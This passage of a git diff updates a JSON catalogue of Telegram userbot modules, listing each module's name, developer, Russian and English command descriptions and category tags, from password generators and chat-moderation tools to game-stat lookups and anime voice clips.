{ "pic": null, "banner": null, @@ -10869,24 +31950,61 @@ }, "commands": [ { - "tgccmd": "<код состояния> - Получение информации о коде состояния <statuscode> - Get status code info" - }, - { - "tgcscmd": "Получите все коды статуса telegram Get all telegram status codes" + "password": "random password\n-n - numbers\n-s - symbols \n -l - letters Случайный пароль\n-n - цифры\n-s - символы \n -l - буквы Random password\n-n - numbers\n-s - symbols \n -l - letters" } ], "new_commands": [ { - "tgc": { - "ru_doc": "<код состояния> - Получение информации о коде состояния", - "en_doc": "<statuscode> - Get status code info", + "password": { + "ru_doc": "Случайный пароль\n-n - цифры\n-s - символы \n -l - буквы", + "en_doc": "Random password\n-n - numbers\n-s - symbols \n -l - letters", + "doc": "random password\n-n - numbers\n-s - symbols \n -l - letters" + } + } + ], + "category": [ + "Security", + "Tools" + ] + }, + "C0dwiz/H.Modules/novoice.py": { + "name": "NoVoiceMod", + "description": "A module for prohibiting the sending of voice and video messages", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "novoice": "[on/off] — запрещает/разрешает всем пользователям отправку голосовых и видеосообщений. [on/off] — prohibits/allows all users to send voice and video messages." + }, + { + "novoiceuser": "[username/reply] — запрещает пользователю отправку голосовых и видеосообщений. [username/reply] — prohibits the user from sending voice and video messages." + }, + { + "novoicerm": "[username/reply] — разрешает пользователю отправку голосовых и видеосообщений. [username/reply] — allows the user to send voice and video messages." + } + ], + "new_commands": [ + { + "novoice": { + "ru_doc": "[on/off] — запрещает/разрешает всем пользователям отправку голосовых и видеосообщений.", + "en_doc": "[on/off] — prohibits/allows all users to send voice and video messages.", "doc": null } }, { - "tgcs": { - "ru_doc": "Получите все коды статуса telegram", - "en_doc": "Get all telegram status codes", + "novoiceuser": { + "ru_doc": "[username/reply] — запрещает пользователю отправку голосовых и видеосообщений.", + "en_doc": "[username/reply] — prohibits the user from sending voice and video messages.", + "doc": null + } + }, + { + "novoicerm": { + "ru_doc": "[username/reply] — разрешает пользователю отправку голосовых и видеосообщений.", + "en_doc": "[username/reply] — allows the user to send voice and video messages.", "doc": null } } @@ -10896,6 +32014,33 @@ "Chat" ] }, + "C0dwiz/H.Modules/KBSwapper.py": { + "name": "KBSwapperMod", + "description": "KBSwapper is a module for changing the keyboard layout", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "swap": "При ответе на своё сообщение меняет раскладку путем редактирования, на чужое — в отдельном сообщении. Change keyboard layout for the replied message." + } + ], + "new_commands": [ + { + "swap": { + "ru_doc": "При ответе на своё сообщение меняет раскладку путем редактирования, на чужое — в отдельном сообщении.", + "en_doc": "Change keyboard layout for the replied message.", + "doc": null + } + } + ], + "category": [ + "Tools", + "Security" + ] + }, "C0dwiz/H.Modules/aiogram3/hikarichat.py": { "name": "HikariChatMod", "description": "Advanced chat admin toolkit", @@ -11364,25 +32509,105 @@ "Chat" ] }, - "hikariatama/ftg/latex.py": { - "name": "LaTeXMod", - "description": "Renders mathematical formulas in LaTeX pngs", + "SkillsAngels/Modules/IrisLab.py": { + "name": "IrisLabMod", + "description": "Показывает лаб/жертв. Возможны задержки на получение инф-ции", "meta": { - "pic": "https://img.icons8.com/fluency/452/texshop.png", - "banner": "https://mods.hikariatama.ru/badges/latex.jpg", - "developer": "@hikarimods" + "pic": "https://i.imgur.com/QntqxyH.jpeg", + "banner": "https://i.imgur.com/2KZ38Pv.jpeg", + "developer": "@hikkaftgmods" }, "commands": [ { - "latexcmd": "<formula> - Create LaTeX render" + "labcmd": "Модуль который выдаст вам статистику вашей лаборатории (лаб)" + }, + { + "victimscmd": "Комманда показывает ваши жертвы" + }, + { + "upgcmd": "Увеличивает зз/имун и тд.Как использовать(Пример) .upg летальность (число 1-5)" + }, + { + "gcmd": "<name> - показывает заметку" + }, + { + "svcmd": "<name> - для сохранения заметки" + }, + { + "dcmd": "<name> - удаляет заметку" + }, + { + "listcmd": "[folder] - показывает все заметки" + }, + { + "iccmd": "Комманда котрая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>" + }, + { + "listcmd": "Помощь по ирис лабу." } ], "new_commands": [ { - "latex": { + "lab": { "ru_doc": null, "en_doc": null, - "doc": "<formula> - Create LaTeX render" + "doc": "Модуль который выдаст вам статистику вашей лаборатории (лаб)" + } + }, + { + "victims": { + "ru_doc": null, + "en_doc": null, + "doc": "Комманда показывает ваши жертвы" + } + }, + { + "upg": { + "ru_doc": null, + "en_doc": null, + "doc": "Увеличивает зз/имун и тд.Как использовать(Пример) .upg летальность (число 1-5)" + } + }, + { + "g": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - показывает заметку" + } + }, + { + "sv": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - для сохранения заметки" + } + }, + { + "d": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - удаляет заметку" + } + }, + { + "list": { + "ru_doc": null, + "en_doc": null, + "doc": "[folder] - показывает все заметки" + } + }, + { + "ic": { + "ru_doc": null, + "en_doc": null, + "doc": "Комманда котрая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>" + } + }, + { + "list": { + "ru_doc": null, + "en_doc": null, + "doc": "Помощь по ирис лабу." } } ], @@ -11391,46 +32616,1825 @@ "Chat" ] }, - "hikariatama/ftg/pmbl.py": { - "name": "PMBLMod", - "description": "Bans and reports incoming messages from unknown users", + "SkillsAngels/Modules/S-D Pics.py": { + "name": "SDPicsMod", + "description": "Module to save self-destructing media", "meta": { - "pic": "https://img.icons8.com/external-dreamcreateicons-flat-dreamcreateicons/512/000000/external-death-halloween-dreamcreateicons-flat-dreamcreateicons.png", - "banner": "https://mods.hikariatama.ru/badges/pmbl.jpg", - "title": "PM->BL", - "developer": "@hikarimods" + "pic": null, + "banner": "https://i.imgur.com/P3fguXK.jpeg", + "developer": "@hikkaftgmods", + "icon": "https://i.imgur.com/sWz2mob.jpeg" }, "commands": [ { - "pmblcmd": "Toggle PMBL" - }, - { - "pmbanlastcmd": "<number> - Ban and delete dialogs with n most new users" - }, - { - "allowpmcmd": "<reply or user> - Allow user to pm you" + "scmd": "<reply to self-destructing media>" } ], "new_commands": [ { - "pmbl": { + "s": { "ru_doc": null, "en_doc": null, - "doc": "Toggle PMBL" + "doc": "<reply to self-destructing media>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SkillsAngels/Modules/DrochBot.py": { + "name": "DrochBotMod", + "description": "Автоматизирует работу с @DrochBot (автоматическая дрочка и др.)", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/awltLuz.jpeg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "drochcmd": "Включается команда `/drochnut`. Чтобы остановить, `Дрочка стоп`." + }, + { + "dickcmd": "Включается команда `/drochnut`. Чтобы остановить, `Хуй стоп`." + }, + { + "casecmd": "Включается команда `/case`. Чтобы остановить, `кейс стоп`." + } + ], + "new_commands": [ + { + "droch": { + "ru_doc": null, + "en_doc": null, + "doc": "Включается команда `/drochnut`. Чтобы остановить, `Дрочка стоп`." } }, { - "pmbanlast": { + "dick": { "ru_doc": null, "en_doc": null, - "doc": "<number> - Ban and delete dialogs with n most new users" + "doc": "Включается команда `/drochnut`. Чтобы остановить, `Хуй стоп`." } }, { - "allowpm": { + "case": { "ru_doc": null, "en_doc": null, - "doc": "<reply or user> - Allow user to pm you" + "doc": "Включается команда `/case`. Чтобы остановить, `кейс стоп`." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SkillsAngels/Modules/love.py": { + "name": "LoveMod", + "description": "Красивые слова для второй половинки", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/Xzi8UL0.jpeg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "lvgcmd": "Активирует красивые слова для девушки" + }, + { + "lvpcmd": "Активирует красивые слова для парня" + } + ], + "new_commands": [ + { + "lvg": { + "ru_doc": null, + "en_doc": null, + "doc": "Активирует красивые слова для девушки" + } + }, + { + "lvp": { + "ru_doc": null, + "en_doc": null, + "doc": "Активирует красивые слова для парня" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SkillsAngels/Modules/smile.py": { + "name": "Smile", + "description": null, + "meta": { + "pic": null, + "banner": "https://i.imgur.com/qfHTxhs.jpeg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "heartscmd": "запускается цикл из меняющихся сердец 💛💙" + }, + { + "mooncmd": "запускается цикл из меняющихся лун 🌚 🌝" + } + ], + "new_commands": [ + { + "hearts": { + "ru_doc": null, + "en_doc": null, + "doc": "запускается цикл из меняющихся сердец 💛💙" + } + }, + { + "moon": { + "ru_doc": null, + "en_doc": null, + "doc": "запускается цикл из меняющихся лун 🌚 🌝" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "SkillsAngels/Modules/AnimeVoices.py": { + "name": "AnimeVoicesMod", + "description": "🎤 Popular Anime Voices", + "meta": { + "pic": "https://ibb.co/zX25RNd", + "banner": "https://ibb.co/3NjJHvv", + "developer": "@amoremods @hikkaftgmods" + }, + "commands": [ + { + "smexkcmd": "Смех Канеки" + }, + { + "smexycmd": "Смех Ягами" + }, + { + "znaycmd": "Знай свое место ничтожество" + }, + { + "madaracmd": "Учиха Мадара" + }, + { + "sharingancmd": "Итачи Шаринган" + }, + { + "imsasukecmd": "Учиха Саске" + }, + { + "paincmd": "Познайте боль" + }, + { + "rascmd": "Расширение территории" + }, + { + "tenseicmd": "Shinra tensei" + }, + { + "dazaicmd": "Дазаи" + }, + { + "gaycmd": "I'm gay" + }, + { + "bankaicmd": "Bankai" + }, + { + "satecmd": "Sate sate sate" + }, + { + "yoaimocmd": "Yoaimo" + }, + { + "madaracmd": "Он один из основателей конохи" + }, + { + "valhallacmd": "У нас будет крутейшая байкерская банда в Канто." + }, + { + "itachicmd": "В возрасте 7 лет он уже мыслил как Хокаге." + }, + { + "ghoulcmd": "Я...Гуль." + }, + { + "bestcmd": "В общем раз уж я сдесь стану лучшим.(Повар боец Сомо)" + }, + { + "requiemcmd": "Это реквием." + }, + { + "kingcmd": "Король вернулся." + }, + { + "equalitycmd": "цитата Аянокоджи про равенство." + }, + { + "forestcmd": "Нельзя понять всю красоту леса оценивая лишь одно дерево." + }, + { + "bankaiichigocmd": "Банкай Ичиго." + } + ], + "new_commands": [ + { + "smexk": { + "ru_doc": null, + "en_doc": null, + "doc": "Смех Канеки" + } + }, + { + "smexy": { + "ru_doc": null, + "en_doc": null, + "doc": "Смех Ягами" + } + }, + { + "znay": { + "ru_doc": null, + "en_doc": null, + "doc": "Знай свое место ничтожество" + } + }, + { + "madara": { + "ru_doc": null, + "en_doc": null, + "doc": "Учиха Мадара" + } + }, + { + "sharingan": { + "ru_doc": null, + "en_doc": null, + "doc": "Итачи Шаринган" + } + }, + { + "imsasuke": { + "ru_doc": null, + "en_doc": null, + "doc": "Учиха Саске" + } + }, + { + "pain": { + "ru_doc": null, + "en_doc": null, + "doc": "Познайте боль" + } + }, + { + "ras": { + "ru_doc": null, + "en_doc": null, + "doc": "Расширение территории" + } + }, + { + "tensei": { + "ru_doc": null, + "en_doc": null, + "doc": "Shinra tensei" + } + }, + { + "dazai": { + "ru_doc": null, + "en_doc": null, + "doc": "Дазаи" + } + }, + { + "gay": { + "ru_doc": null, + "en_doc": null, + "doc": "I'm gay" + } + }, + { + "bankai": { + "ru_doc": null, + "en_doc": null, + "doc": "Bankai" + } + }, + { + "sate": { + "ru_doc": null, + "en_doc": null, + "doc": "Sate sate sate" + } + }, + { + "yoaimo": { + "ru_doc": null, + "en_doc": null, + "doc": "Yoaimo" + } + }, + { + "madara": { + "ru_doc": null, + "en_doc": null, + "doc": "Он один из основателей конохи" + } + }, + { + "valhalla": { + "ru_doc": null, + "en_doc": null, + "doc": "У нас будет крутейшая байкерская банда в Канто." + } + }, + { + "itachi": { + "ru_doc": null, + "en_doc": null, + "doc": "В возрасте 7 лет он уже мыслил как Хокаге." + } + }, + { + "ghoul": { + "ru_doc": null, + "en_doc": null, + "doc": "Я...Гуль." + } + }, + { + "best": { + "ru_doc": null, + "en_doc": null, + "doc": "В общем раз уж я сдесь стану лучшим.(Повар боец Сомо)" + } + }, + { + "requiem": { + "ru_doc": null, + "en_doc": null, + "doc": "Это реквием." + } + }, + { + "king": { + "ru_doc": null, + "en_doc": null, + "doc": "Король вернулся." + } + }, + { + "equality": { + "ru_doc": null, + "en_doc": null, + "doc": "цитата Аянокоджи про равенство." + } + }, + { + "forest": { + "ru_doc": null, + "en_doc": null, + "doc": "Нельзя понять всю красоту леса оценивая лишь одно дерево." + } + }, + { + "bankaiichigo": { + "ru_doc": null, + "en_doc": null, + "doc": "Банкай Ичиго." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SkillsAngels/Modules/HFInfo.py": { + "name": "HFInfoMod", + "description": "Show userbot info", + "meta": { + "pic": "https://i.imgur.com/wB0SFBi.jpeg", + "banner": "https://i.imgur.com/BtmS5QF.jpeg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "hfinfocmd": "Send userbot info" + } + ], + "new_commands": [ + { + "hfinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Send userbot info" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "SkillsAngels/Modules/Complements.py": { + "name": "ComplementsMod", + "description": "Модуль который дарит комплементы девушке/парню", + "meta": { + "pic": "https://i.imgur.com/xC4oVi6.jpeg", + "banner": "https://i.imgur.com/kDshq0N.jpeg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "cgcmd": "Эта команда дарит комплементы девушке" + }, + { + "cbcmd": "Эта команда дарит комплементы парню" + } + ], + "new_commands": [ + { + "cg": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда дарит комплементы девушке" + } + }, + { + "cb": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда дарит комплементы парню" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "SkillsAngels/Modules/Iris.py": { + "name": "IrisMod", + "description": "Для автоматического фарминга коинов в ирисботе", + "meta": { + "pic": "https://te.legra.ph/file/98192f1f7953275baead5.jpg", + "banner": "https://te.legra.ph/file/a428776824470e0bdccb6.jpg", + "developer": "@hikkaftgmods" + }, + "commands": [ + { + "farmoncmd": "Запустить автофарминг" + }, + { + "farmoffcmd": "Остановить автофарминг" + }, + { + "farmcmd": "Вывод кол-ва коинов, добытых этим модулем" + }, + { + "give": "Передает ириски/голд на другой акк" + }, + { + "baghis": "Информация где побывали ваши ириски" + }, + { + "bagcmd": "Показывает ваш мешок" + }, + { + "irishcmd": "Помощь по модулю Iris" + } + ], + "new_commands": [ + { + "farmon": { + "ru_doc": null, + "en_doc": null, + "doc": "Запустить автофарминг" + } + }, + { + "farmoff": { + "ru_doc": null, + "en_doc": null, + "doc": "Остановить автофарминг" + } + }, + { + "farm": { + "ru_doc": null, + "en_doc": null, + "doc": "Вывод кол-ва коинов, добытых этим модулем" + } + }, + { + "give": { + "ru_doc": null, + "en_doc": null, + "doc": "Передает ириски/голд на другой акк" + } + }, + { + "baghis": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация где побывали ваши ириски" + } + }, + { + "bag": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает ваш мешок" + } + }, + { + "irish": { + "ru_doc": null, + "en_doc": null, + "doc": "Помощь по модулю Iris" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/MyFACEIT.py": { + "name": "MyFACEIT", + "description": "Модуль для получения информации о своем профиле FACEIT", + "meta": { + "pic": null, + "banner": "https://x0.at/Hu25.jpg", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "myfaceitcmd": "- Показать информацию об своем FACEIT профиле." + } + ], + "new_commands": [ + { + "myfaceit": { + "ru_doc": null, + "en_doc": null, + "doc": "- Показать информацию об своем FACEIT профиле." + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "mead0wsss/mead0wsMods/FaceitStatus.py": { + "name": "FaceitStatus", + "description": "Модуль для установки статуса в зависимости от уровня FACEIT CS 2", + "meta": { + "pic": null, + "banner": "https://x0.at/tYLF.png", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "on_faccmd": "Включить обновление статуса." + }, + { + "off_faccmd": "Выключить обновление статуса." + } + ], + "new_commands": [ + { + "on_fac": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить обновление статуса." + } + }, + { + "off_fac": { + "ru_doc": null, + "en_doc": null, + "doc": "Выключить обновление статуса." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "mead0wsss/mead0wsMods/AutoFormatting.py": { + "name": "AutoFormatting", + "description": "Модуль для автоматического форматирования вашего текста в чате.", + "meta": { + "pic": null, + "banner": "https://x0.at/yCcx.jpg", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "bold": "Включает или отключает жирный текст." + }, + { + "italic": "Включает или отключает курсив." + }, + { + "mono": "Включает или отключает моноширинный текст." + }, + { + "underline": "Включает или отключает подчеркивание." + }, + { + "strikethrough": "Включает или отключает зачеркивание." + }, + { + "off": "Отключает все стили." + }, + { + "on": "Включает стиль по умолчанию (жирный текст)." + } + ], + "new_commands": [ + { + "bold": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает или отключает жирный текст." + } + }, + { + "italic": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает или отключает курсив." + } + }, + { + "mono": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает или отключает моноширинный текст." + } + }, + { + "underline": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает или отключает подчеркивание." + } + }, + { + "strikethrough": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает или отключает зачеркивание." + } + }, + { + "off": { + "ru_doc": null, + "en_doc": null, + "doc": "Отключает все стили." + } + }, + { + "on": { + "ru_doc": null, + "en_doc": null, + "doc": "Включает стиль по умолчанию (жирный текст)." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/Twitch.py": { + "name": "TwitchMod", + "description": "Модуль для работы с Twitch", + "meta": { + "pic": null, + "banner": null, + "developer": "@mead0wssMods" + }, + "commands": [ + { + "followed": "Показать всех подписанных стримеров" + }, + { + "streams": "Показать онлайн стримы" + }, + { + "streamer": "Информация о стримере" + }, + { + "topgames": "Топ игр на Twitch" + }, + { + "game": "Поиск игры и стримы по ней" + } + ], + "new_commands": [ + { + "followed": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать всех подписанных стримеров" + } + }, + { + "streams": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать онлайн стримы" + } + }, + { + "streamer": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о стримере" + } + }, + { + "topgames": { + "ru_doc": null, + "en_doc": null, + "doc": "Топ игр на Twitch" + } + }, + { + "game": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск игры и стримы по ней" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/DDNetPlayerTime.py": { + "name": "DDNetPlayerTime", + "description": "Получение статистики отыгранного времени игрока DDNet с ddstats.tw", + "meta": { + "pic": null, + "banner": null, + "developer": "@mead0wssMods" + }, + "commands": [ + { + "ddpt": "<ник> | Получить статистику игрока" + } + ], + "new_commands": [ + { + "ddpt": { + "ru_doc": null, + "en_doc": null, + "doc": "<ник> | Получить статистику игрока" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "mead0wsss/mead0wsMods/SteamProfile.py": { + "name": "SteamProfile", + "description": "Модуль для получения информации о пользователях Steam.", + "meta": { + "pic": null, + "banner": "https://x0.at/B0ze.png", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "steamprofilecmd": "Получить информацию об пользователе Steam." + } + ], + "new_commands": [ + { + "steamprofile": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить информацию об пользователе Steam." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/RussianRoulette.py": { + "name": "RouletteMod", + "description": "Модуль для игры в Русскую рулетку. При поражении выкидывает с чата.", + "meta": { + "pic": null, + "banner": "https://x0.at/N3nB.jpg", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "roulettecmd": "Начать игру в Русскую рулетку" + } + ], + "new_commands": [ + { + "roulette": { + "ru_doc": null, + "en_doc": null, + "doc": "Начать игру в Русскую рулетку" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/SenderGifts.py": { + "name": "SenderGifts", + "description": "Модуль для отправки подарков Telegram прямиком в чате", + "meta": { + "pic": null, + "banner": null, + "developer": "@mead0wssMods x @nullmod" + }, + "commands": [ + { + "sendgift": "- <username> <text*> - отправить подарок пользователю (* - необязательный параметр.) Поддерживается реплай режим." + } + ], + "new_commands": [ + { + "sendgift": { + "ru_doc": null, + "en_doc": null, + "doc": "- <username> <text*> - отправить подарок пользователю (* - необязательный параметр.) Поддерживается реплай режим." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "mead0wsss/mead0wsMods/InfoPresets.py": { + "name": "InfoPresets", + "description": "Управление пресетами для HerokuInfo", + "meta": { + "pic": null, + "banner": "https://x0.at/GHOP.png", + "developer": "@mead0wssMods" + }, + "commands": [ + { + "createprcmd": "Создать новый пресет." + }, + { + "delprcmd": "Удалить пресет." + }, + { + "delfileprcmd": "Удалить файл с пресетами." + }, + { + "uploadprcmd": "Загрузить файл с пресетами." + }, + { + "listprcmd": "Показать список всех пресетов." + }, + { + "loadprcmd": "Загрузить пресет." + } + ], + "new_commands": [ + { + "createpr": { + "ru_doc": null, + "en_doc": null, + "doc": "Создать новый пресет." + } + }, + { + "delpr": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить пресет." + } + }, + { + "delfilepr": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить файл с пресетами." + } + }, + { + "uploadpr": { + "ru_doc": null, + "en_doc": null, + "doc": "Загрузить файл с пресетами." + } + }, + { + "listpr": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать список всех пресетов." + } + }, + { + "loadpr": { + "ru_doc": null, + "en_doc": null, + "doc": "Загрузить пресет." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "mead0wsss/mead0wsMods/tmpfiles.py": { + "name": "tmpfilesMod", + "description": "Модуль для загрузки файлов на tmpfiles.org", + "meta": { + "pic": null, + "banner": null, + "developer": "@mead0wssMods" + }, + "commands": [ + { + "tmpfilescmd": "Загрузка ваших файлов на tmpfiles.org Uploading your files to tmpfiles.org" + } + ], + "new_commands": [ + { + "tmpfiles": { + "ru_doc": "Загрузка ваших файлов на tmpfiles.org", + "en_doc": "Uploading your files to tmpfiles.org", + "doc": null + } + } + ], + "category": [ + "Tools", + "Security" + ] + }, + "mead0wsss/mead0wsMods/DDNetStats.py": { + "name": "DDNetStats", + "description": "Модуль для просмотра статистики игрока DDNet через ddstats.tw", + "meta": { + "pic": null, + "banner": null, + "developer": "@mead0wssMods" + }, + "commands": [ + { + "ddstats": "<ник> — Показать статистику игрока DDNet" + }, + { + "ddstatsred": "<ник> - Упрощенная версия" + } + ], + "new_commands": [ + { + "ddstats": { + "ru_doc": null, + "en_doc": null, + "doc": "<ник> — Показать статистику игрока DDNet" + } + }, + { + "ddstatsred": { + "ru_doc": null, + "en_doc": null, + "doc": "<ник> - Упрощенная версия" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "AlpacaGang/ftg-modules/contact.py": { + "name": "CONTACTMod", + "description": "Это модуль для игры в \"контакт\"", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "contactcmd": "Эта команда пишет 10 сообщений для контакта" + } + ], + "new_commands": [ + { + "contact": { + "ru_doc": null, + "en_doc": null, + "doc": "Эта команда пишет 10 сообщений для контакта" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AlpacaGang/ftg-modules/Tag.py": { + "name": "TagMod", + "description": "Tag :\n-> Tag all admins (fast way to report).\n-> Tag all bots (why not ?).\n-> Tag all members (why not ?).\n\nCommands :\n ", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "admincmd": ".admin : Tag all admins (excepted bots).\n.admin [message] : Tag all admins (excepted bots) with message before tags.\n " + }, + { + "allcmd": ".all : Tag all members.\n.all [message] : Tag all members with message before tags.\n " + }, + { + "botcmd": ".bot : Tag all bots.\n.bot [message] : Tag all bots with message before tags.\n " + } + ], + "new_commands": [ + { + "admin": { + "ru_doc": null, + "en_doc": null, + "doc": ".admin : Tag all admins (excepted bots).\n.admin [message] : Tag all admins (excepted bots) with message before tags.\n " + } + }, + { + "all": { + "ru_doc": null, + "en_doc": null, + "doc": ".all : Tag all members.\n.all [message] : Tag all members with message before tags.\n " + } + }, + { + "bot": { + "ru_doc": null, + "en_doc": null, + "doc": ".bot : Tag all bots.\n.bot [message] : Tag all bots with message before tags.\n " + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/repl.py": { + "name": "REPLMod", + "description": "REPLIED for selected users", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "addtxcmd": "Select users\nFor example: .addtx used_id \"text when reply (Default: '.'\"" + }, + { + "clrtxcmd": "Unselect user\nFor example: `.clrtx used_id` for one user or `.clrtx` for all users" + } + ], + "new_commands": [ + { + "addtx": { + "ru_doc": null, + "en_doc": null, + "doc": "Select users\nFor example: .addtx used_id \"text when reply (Default: '.'\"" + } + }, + { + "clrtx": { + "ru_doc": null, + "en_doc": null, + "doc": "Unselect user\nFor example: `.clrtx used_id` for one user or `.clrtx` for all users" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AlpacaGang/ftg-modules/cuttly.py": { + "name": "CuttlyMod", + "description": "URL shortener module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "shortcmd": "usage: .short <link_to_short> [preferred_alias]" + } + ], + "new_commands": [ + { + "short": { + "ru_doc": null, + "en_doc": null, + "doc": "usage: .short <link_to_short> [preferred_alias]" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/range.py": { + "name": "RangeMod", + "description": "Provides numbers as in Python range with delay", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "rangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + }, + { + "drangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" + }, + { + "countcmd": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" + }, + { + "rcountcmd": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" + } + ], + "new_commands": [ + { + "range": { + "ru_doc": null, + "en_doc": null, + "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + } + }, + { + "drange": { + "ru_doc": null, + "en_doc": null, + "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" + } + }, + { + "count": { + "ru_doc": null, + "en_doc": null, + "doc": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" + } + }, + { + "rcount": { + "ru_doc": null, + "en_doc": null, + "doc": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "AlpacaGang/ftg-modules/sirius.py": { + "name": "SiriusMod", + "description": "Ищем поступивших на ИЮ2020", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "findcmd": "" + } + ], + "new_commands": [ + { + "find": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "AlpacaGang/ftg-modules/inactive.py": { + "name": "InactiveDetectorMod", + "description": "Detects inactive users", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "inactivecmd": ".inactive <N>" + }, + { + "recountcmd": "" + } + ], + "new_commands": [ + { + "inactive": { + "ru_doc": null, + "en_doc": null, + "doc": ".inactive <N>" + } + }, + { + "recount": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "AlpacaGang/ftg-modules/DND.py": { + "name": "DoNotDisturbMod", + "description": "DND (Do Not Disturb) :\n-> Prevents people sending you unsolicited private messages.\n-> Prevents disturbing when you are unavailable.\n\nCommands :\n ", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "afkbackcmd": "Remove the AFK status.\n " + }, + { + "afkgocmd": ".afkgo : Enable AFK status.\n.afkgo [message] : Enable AFK status and add a reason.\n " + }, + { + "afknogroupcmd": ".afknogroup : Disable/Enable AFK status message for group chats.\n.afknogroup off : Enable AFK status message for group chats.\n.afknogroup on : Disable AFK status message for group chats.\n " + }, + { + "afknopmcmd": ".afknopm : Disable/Enable AFK status message for PMs.\n.afknopm off : Enable AFK status message for PMs.\n.afknopm on : Disable AFK status message for PMs.\n " + }, + { + "afknotifcmd": ".afknotif : Disable/Enable the notifications during AFK time.\n.afknotif off : Disable the notifications during AFK time.\n.afknotif on : Enable the notifications during AFK time.\n " + }, + { + "afkratecmd": ".afkrate : Disable/Enable AFK rate limit.\n.afkrate off : Disable AFK rate limit.\n.afkrate on : Enable AFK rate limit. One AFK status message max will be sent per chat.\n " + }, + { + "allowcmd": "Allow this user to PM.\n " + }, + { + "blockcmd": "Block this user to PM without being warned.\n " + }, + { + "denycmd": "Deny this user to PM without being warned.\n " + }, + { + "pmcmd": ".pm : Disable/Enable automatic answer for denied PMs.\n.pm off : Disable automatic answer for denied PMs.\n.pm on : Enable automatic answer for denied PMs.\n " + }, + { + "pmlimitcmd": ".pmlimit : Get current max number of PMs before automatically block not allowed 